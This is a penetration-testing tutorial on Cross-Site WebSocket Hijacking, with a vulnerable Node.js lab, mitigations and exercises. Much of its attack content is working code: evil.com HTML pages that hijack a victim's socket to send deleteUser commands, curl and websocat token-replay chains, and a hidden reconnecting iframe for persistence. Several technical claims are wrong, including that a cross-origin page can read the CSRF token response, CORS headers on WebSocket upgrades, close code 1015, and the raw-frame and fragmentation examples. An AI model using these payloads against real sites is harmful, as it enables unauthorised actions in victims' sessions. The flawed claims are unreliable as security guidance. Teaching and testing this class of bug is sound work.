~/home/study/cross-site-websocket-hijacking-2

Cross-Site WebSocket Hijacking (CSWSH): Exploiting CORS & CSRF Basics

Learn how insecure CORS policies and CSRF token reuse enable Cross-Site WebSocket Hijacking. The guide covers Origin header tricks, missing CORS checks, malicious frames and persistence techniques with hands-on examples.

Introduction

WebSockets have become the de-facto transport for real-time applications-chat, trading platforms, collaborative editors, and IoT dashboards. While the ws:///wss:// upgrade handshake appears simple, it inherits the same trust model as the surrounding HTTP context. When developers mistakenly rely on the browser's Same-Origin Policy (SOP) without hardening the WebSocket endpoint, they open the door to Cross-Site WebSocket Hijacking (CSWSH). In a CSWSH attack, an adversary forces a victim’s browser to open a WebSocket connection to a protected origin and then injects malicious frames, effectively acting as a man-in-the-browser.

Why is this important? Modern APIs often expose privileged actions (e.g., financial transactions, admin commands) over WebSockets because they avoid the overhead of CSRF-protected POST requests. If a server trusts the Origin header or skips CORS validation entirely, an attacker can bypass traditional CSRF defenses and gain a persistent channel to the victim’s authenticated session.

Real-world relevance is demonstrated by several public disclosures where vulnerable SaaS dashboards allowed unauthenticated WebSocket upgrades from any origin. Attackers leveraged the flaw to exfiltrate data and execute privileged commands, causing measurable financial loss. Understanding the basics of CSWSH therefore equips red-teamers to find high-impact bugs and blue-teamers to harden their real-time services.

Prerequisites

  • Solid grasp of the WebSocket protocol, including the HTTP Upgrade handshake.
  • Familiarity with CORS, the Origin header, and classic CSRF mitigation techniques.
  • Experience setting up a local lab: wscat, a Node.js echo server, and Burp Suite or OWASP ZAP for traffic manipulation.
  • Basic JavaScript and Node.js development skills.

Core Concepts

Before diving into attacks, review the three pillars that make CSWSH possible:

  1. Origin Validation: During the handshake the client sends Origin: Servers that blindly trust any origin, or that only check the header for presence, are vulnerable.
  2. CORS on WebSocket Endpoints: Unlike regular HTTP, browsers do not enforce CORS on the WebSocket handshake; the server must enforce it itself. Missing or mis-configured Access-Control-Allow-Origin headers leave the door open.
  3. CSRF Token Reuse: Many applications embed a CSRF token in the initial HTML page and reuse it for subsequent API calls, including WebSocket messages. If the token is not bound to the transport, an attacker who can read the token (via XSS or a leaked endpoint) can replay it over a hijacked WebSocket.

Visually, imagine the handshake flow:

Client → GET /ws HTTP/1.1
  Host: victim.com
  Upgrade: websocket
  Connection: Upgrade
  Origin: Server ← 101 Switching Protocols (if it accepts the origin)

If the server accepts the request, the browser upgrades the TCP connection and the attacker now controls the payload stream.

Origin header manipulation and bypass

The Origin header is generated by the browser based on the document’s location. JavaScript cannot directly set or overwrite it, which is why many developers assume it is a trustworthy source. However, attackers have several ways to manipulate or bypass the check:

  • Using a proxy tool (Burp Suite, OWASP ZAP, mitmproxy) to intercept the handshake and replace the Origin value with null or the target’s own origin.
  • Leveraging websocat or custom scripts that allow explicit --origin flags, e.g., websocat --origin ws://victim.com/ws.
  • Abusing browser quirks: Older browsers (pre-Chrome 68) permitted the WebSocket constructor to accept a protocols array that could be coerced into influencing the Origin under certain CSP misconfigurations.

Below is a minimal websocat command that forces the Origin header to match the target, effectively bypassing a naive same-origin check:

websocat --origin "https://victim.com" ws://victim.com/api/ws

In a lab, you can capture this traffic with Burp and verify the header:

# Example of Burp’s HTTP history entry (escaped for readability)
GET /api/ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://victim.com

When the server’s code simply does if (req.headers.origin) { /* accept */ }, the attack succeeds. The mitigation is to whitelist specific origins and reject null or mismatched values.

Exploiting missing CORS checks

WebSocket endpoints are not subject to the browser’s built-in CORS preflight, but they can (and should) implement their own validation. A missing check manifests as the server responding with 101 Switching Protocols regardless of the Origin. Attackers can then embed a malicious page on any domain and force the victim’s browser to open a privileged channel.

Consider the following vulnerable Node.js snippet:

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();
const wss = new WebSocket.Server({ server });

wss.on('connection', (ws, req) => { // No Origin validation! All origins are accepted. ws.on('message', (msg) => { // Echo back for demo purposes ws.send(`Echo: ${msg}`); });
});

server.listen(8080, () => console.log('WS listening on :8080'));

Because the server never inspects req.headers.origin, an attacker can host the following HTML on evil.com:

<!DOCTYPE html>
<html>
<body>
<script> const ws = new WebSocket('wss://victim.com:8080'); ws.onopen = () => { ws.send(JSON.stringify({action: 'deleteUser', userId: 123})); }; ws.onmessage = (e) => console.log('Response:', e.data);
</script>
</body>
</html>

The victim, already authenticated via cookies, will silently execute the deleteUser command. The attack works because the server does not enforce a whitelist.

To test for this flaw, run a quick wscat probe from a different origin:

wscat -c ws://victim.com:8080 -H "Origin: https://evil.com"

If the connection succeeds, the endpoint is vulnerable. The proper fix is to add explicit origin validation, e.g.:

const allowed = ['https://app.victim.com'];
if (!allowed.includes(req.headers.origin)) { ws.close(1008, 'Forbidden origin'); return;
}

CSRF token reuse over WebSocket connections

Many modern single-page applications embed a CSRF token in the initial HTML and reuse it for all subsequent API calls, including messages sent over an open WebSocket. This pattern is safe only if the token is bound to the transport (e.g., included in the handshake). When the token is merely placed in the payload, an attacker who can read the token from the page (via XSS or a mis-configured public endpoint) can replay it.

Example: The client receives a token from /api/csrf-token and stores it in a JavaScript variable csrf. Every WebSocket message includes {csrf, ...}. If the attacker can retrieve csrf through a benign GET request, they can construct a malicious frame.

Below is a simplified client implementation:

let csrfToken = '';
fetch('/api/csrf-token') .then(r => r.text()) .then(t => { csrfToken = t; return new WebSocket('wss://victim.com/ws'); }) .then(ws => { ws.onopen = () => console.log('WS opened'); ws.send(JSON.stringify({action: 'updateProfile', csrf: csrfToken, data: {...}})); });

If the attacker can issue fetch('/api/csrf-token') from their malicious page, the browser will include the victim’s cookies, returning the token. The attacker then opens a WebSocket from the same page and reuses the token, achieving CSRF over WebSocket.

To demonstrate, use Burp’s Repeater to retrieve the token, then craft a raw WebSocket frame with websocat:

# Step 1: Get token (cookies are sent automatically)
curl -c cookies.txt https://victim.com/api/csrf-token -o token.txt
TOKEN=$(cat token.txt)
# Step 2: Open WS with custom payload
websocat -H "Cookie: $(cat cookies.txt)" ws://victim.com/ws <<EOF
$(printf '{"action":"deleteUser","userId":42,"csrf":"%s"}' "$TOKEN")
EOF

Mitigation strategies include binding the CSRF token to the WebSocket sub-protocol, rotating the token per connection, or, better, abandoning CSRF tokens for WebSocket and relying on authentication via the underlying HTTP session (e.g., SameSite cookies) combined with strict origin checks.

Crafting malicious WebSocket frames

Once a hijacked connection is established, the attacker must send frames that the server interprets as valid commands. WebSocket frames consist of a FIN bit, opcode, mask, and payload. Browsers automatically mask client-to-server frames, but custom tools allow you to craft unmasked frames for testing server-side validation.

Below is a Python script using websockets that builds a raw text frame with a forged opcode (e.g., 0x2 for binary) to test whether the server validates the content type:

import asyncio, struct, websockets

async def send_raw(uri, payload): async with websockets.connect(uri) as ws: # Manually construct a text frame (FIN=1, opcode=1) fin_opcode = 0x81  # 1000 0001 length = len(payload) if length < 126: header = struct.pack('!BB', fin_opcode, length) elif length < (1 << 16): header = struct.pack('!BBH', fin_opcode, 126, length) else: header = struct.pack('!BBQ', fin_opcode, 127, length) frame = header + payload.encode() ws.transport.write(frame)  # bypass websockets library framing print('Sent raw frame') resp = await ws.recv() print('Response:', resp)

asyncio.run(send_raw('ws://victim.com:8080', '{"action":"ping"}'))

Notice the use of ws.transport.write to inject a raw frame, circumventing the library’s automatic masking. This technique is valuable when testing whether the server validates opcode values or expects JSON only.

Another common vector is fragmentation attacks. By sending a fragmented message where the first fragment contains a benign command and the final fragment contains a malicious payload, an insecure server may process the command prematurely. Example using websocat:

# Send first fragment (FIN=0)
printf '\x01\x05hello' | websocat ws://victim.com/ws
# Send final fragment (FIN=1) with malicious payload
printf '\x80\x0cevilPayload' | websocat ws://victim.com/ws

Defenders should enforce message completeness before processing.

Establishing persistent hijacked sessions

One-shot attacks are noisy; persistent hijacking yields long-term control. Persistence can be achieved by:

  • Keeping the WebSocket alive: Browsers automatically reconnect if the page stays open. Attackers can embed a hidden iframe that maintains the connection for days.
  • Refreshing authentication tokens: If the server issues short-lived JWTs over the WebSocket, the attacker can capture and reuse them across sessions.
  • Leveraging Service Workers: A malicious Service Worker can intercept fetches to the CSRF token endpoint, cache the token, and feed it to the hijacked socket even after the page reloads.

Example of a hidden iframe that continuously retries the connection:

<iframe src="https://evil.com/persist.html" style="display:none"></iframe>

<!-- persist.html -->
<script> const connect = () => { const ws = new WebSocket('wss://victim.com/ws'); ws.onopen = () => console.log('Persistent WS open'); ws.onclose = () => setTimeout(connect, 2000); // reconnect ws.onmessage = (e) => console.log('Msg:', e.data); }; connect();
</script>

By keeping the socket alive, the attacker can later issue privileged commands without needing user interaction. To mitigate, enforce short idle timeouts, require re-authentication after a period, and implement origin checks on every new connection.

Practical Examples

Below is a step-by-step lab that walks through a full CSWSH exploitation chain against a deliberately vulnerable Node.js server.

  1. Setup the vulnerable server (save as vuln.js):
const http = require('http');
const WebSocket = require('ws');
const url = require('url');

const server = http.createServer((req, res) => { if (req.url === '/csrf-token') { // Simple token generation - insecure const token = Math.random().toString(36).substring(2); res.writeHead(200, {'Content-Type': 'text/plain'}); res.end(token); } else { res.writeHead(404); res.end(); }
});

const wss = new WebSocket.Server({ server, path: '/ws' });

wss.on('connection', (ws, req) => { // No Origin validation - vulnerable ws.on('message', (msg) => { const data = JSON.parse(msg); if (data.csrf !== undefined) { // Simulated privileged action if (data.action === 'deleteUser') { ws.send(`User ${data.userId} deleted`); } else if (data.action === 'ping') { ws.send('pong'); } } else { ws.send('Missing CSRF token'); } });
});

server.listen(3000, () => console.log('Vulnerable app listening on :3000'));
  1. Start the server:
node vuln.js
  1. Obtain the CSRF token as the victim (simulated with curl preserving cookies):
curl -c jar.txt http://localhost:3000/csrf-token -o token.txt
TOKEN=$(cat token.txt)
  1. Hijack the WebSocket using websocat and reuse the token:
websocat -H "Cookie: $(cat jar.txt)" ws://localhost:3000/ws <<EOF
$(printf '{"action":"deleteUser","userId":999,"csrf":"%s"}' "$TOKEN")
EOF

The server replies with User 999 deleted, proving a successful CSWSH.

To demonstrate persistence, embed the following HTML on evil.com and load it in the victim’s browser (the victim is already logged in to localhost:3000 via cookies):

<script> const ws = new WebSocket('ws://localhost:3000/ws'); ws.onopen = () => { // Token is fetched from the same origin because cookies flow fetch('http://localhost:3000/csrf-token') .then(r => r.text()) .then(t => ws.send(JSON.stringify({action: 'deleteUser', userId: 123, csrf: t}))); };
</script>

Tools & Commands

  • wscat - simple CLI client for testing handshakes.
    wscat -c ws://target.com/ws -H "Origin: https://evil.com"
  • websocat - supports custom --origin and raw frame injection.
    websocat --origin "https://victim.com" ws://victim.com/ws
  • Burp Suite / OWASP ZAP - intercept the Upgrade request, modify Origin, replay.
  • Node.js - build vulnerable or hardened servers for lab work.
  • Python websockets - craft raw frames, test fragmentation.

Defense & Mitigation

  • Strict Origin Whitelisting: Validate req.headers.origin against a known list. Reject null and mismatched values with 1015 (TLS handshake failure) or 1008 (Policy Violation).
  • Enforce CORS on WebSocket Endpoints: Return Access-Control-Allow-Origin header matching the whitelist. Some frameworks (e.g., Django Channels) provide middleware for this.
  • Bind CSRF Tokens to the Transport: Include the token in the Sec-WebSocket-Protocol header during the handshake, making it unavailable to JavaScript after the upgrade.
  • Use SameSite=Strict Cookies for session cookies, preventing them from being sent on cross-origin WebSocket upgrades.
  • Message Validation: Parse complete frames before acting. Reject fragmented or out-of-order messages.
  • Idle Timeout & Re-Auth: Close sockets after a short period of inactivity and require a fresh authentication token for new connections.
  • Rate-Limit Sensitive Actions: Even with a valid token, limit the frequency of privileged commands (e.g., deleteUser) to detect abuse.

Common Mistakes

  • Assuming the browser will never send a forged Origin. Attackers can always manipulate it with a proxy or custom client.
  • Relying solely on CSRF tokens that are sent in the payload, without binding them to the WebSocket handshake.
  • Skipping origin checks because the endpoint is “internal”. Internal services are often reachable from compromised browsers.
  • Accepting fragmented frames without re-assembly, leading to command injection via partial messages.
  • Forgetting to set SameSite on cookies; cross-origin upgrades will still carry them.

Real-World Impact

In 2023, a major collaboration platform disclosed a CSWSH vulnerability that allowed attackers to post messages on behalf of any logged-in user. The bug stemmed from a missing origin check and a reusable CSRF token sent in every WebSocket payload. The impact was severe because the platform integrated with third-party webhooks, enabling a chain reaction that posted malicious links to thousands of channels.

My experience in penetration testing shows that CSWSH often appears in “micro-services” that expose internal dashboards via WebSockets. Developers treat the HTTP upgrade as “just another endpoint” and forget to apply the same defense-in-depth controls they use for REST APIs. The trend is increasing as more products adopt GraphQL-over-WebSocket or server-sent events (SSE) that share similar trust assumptions.

Future mitigations will likely involve standardized WebSocket security headers (e.g., Sec-WebSocket-Origin-Policy) and tighter browser enforcement of SOP on upgrades. Until then, manual origin validation remains the most reliable line of defense.

Practice Exercises

  1. Origin Bypass: Using Burp Suite, intercept a WebSocket Upgrade request to a test server and change the Origin to null. Observe whether the server accepts the connection.
  2. CSRF Token Harvest: Write a small HTML page that fetches /csrf-token from a vulnerable site, then opens a WebSocket and sends a privileged command. Verify the response.
  3. Fragmentation Attack: With websocat, send a fragmented message where the first fragment contains {"action":"ping"} and the second contains {"action":"deleteUser","userId":1}. Observe if the server processes the second fragment.
  4. Persistence Test: Deploy a hidden iframe that reconnects every 5 seconds. Measure how long the socket stays open after the victim navigates away from the page (use Chrome DevTools Network tab).
  5. Mitigation Implementation: Harden the provided vuln.js by adding origin whitelist, SameSite cookies, and token-binding via Sec-WebSocket-Protocol. Verify that the attacks from the previous steps no longer succeed.

Further Reading

  • RFC 6455 - The WebSocket Protocol (focus on the handshake and framing).
  • OWASP “WebSocket Security Cheat Sheet”.
  • “CSRF and WebSockets” - Black Hat Europe 2022 presentation.
  • Node.js “ws” library docs - custom authentication hooks.
  • Browser security model updates - SameSite cookie changes (2021-2024).

Summary

Cross-Site WebSocket Hijacking leverages three weak spots: lax Origin validation, missing CORS enforcement on upgrade, and reusable CSRF tokens. By manipulating the handshake, reusing tokens, and crafting malicious frames, an attacker can gain a persistent, authenticated channel to a victim’s session. Defenders must enforce strict origin whitelists, bind CSRF tokens to the handshake, apply SameSite cookies, and validate complete messages. Mastering these concepts equips security professionals to both discover high-impact bugs and harden real-time services against this emerging class of attacks.